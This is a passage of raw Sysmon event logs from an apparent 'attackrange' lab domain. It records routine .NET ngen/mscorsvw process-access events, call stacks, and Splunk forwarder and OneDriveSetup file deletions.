s\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.117{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F75-613B-FD09-00000000F001}5320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.117{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F75-613B-FD09-00000000F001}5320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013991Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:10.826{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=84B3E1F12C67E1B0BF56DB28A50C452B,SHA256=3DA756AE9290FBABF3FA36E6B274C4794E3914E0A5B4EBBD5D1BF98F4F28C2B2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.993{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-0C0A-00000000F001}4816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.993{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-0C0A-00000000F001}4816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.893{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-0B0A-00000000F001}7040C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.883{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-0B0A-00000000F001}7040C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.883{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-0B0A-00000000F001}7040C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.873{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2DED44F424841D77C27291C8AA494380,SHA256=7DE1853C9C632A1C756EFEE68A843F2A5D8BF3129EE5E43C42681615CD272A7D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.823{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-0A0A-00000000F001}6360C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.803{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-0A0A-00000000F001}6360C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.803{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-0A0A-00000000F001}6360C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.754{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-090A-00000000F001}5996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.731{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-090A-00000000F001}5996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.731{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-090A-00000000F001}5996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.671{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-080A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.651{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-080A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.651{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-080A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.621{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmp6BD6.tmpMD5=9E936C2078B286132CD6B9C8602FD17A,SHA256=FA994BADB1E90B2629E0D955572CA57EFE97169D20D6B4957E2F830E3680DA9E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.601{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-070A-00000000F001}5668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.591{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-070A-00000000F001}5668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.591{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-070A-00000000F001}5668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.541{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-060A-00000000F001}1056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.521{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-060A-00000000F001}1056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.521{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-060A-00000000F001}1056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 